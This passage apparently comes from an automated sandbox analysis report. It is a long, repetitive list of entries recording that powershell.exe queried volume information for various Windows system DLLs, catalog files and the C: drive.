              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
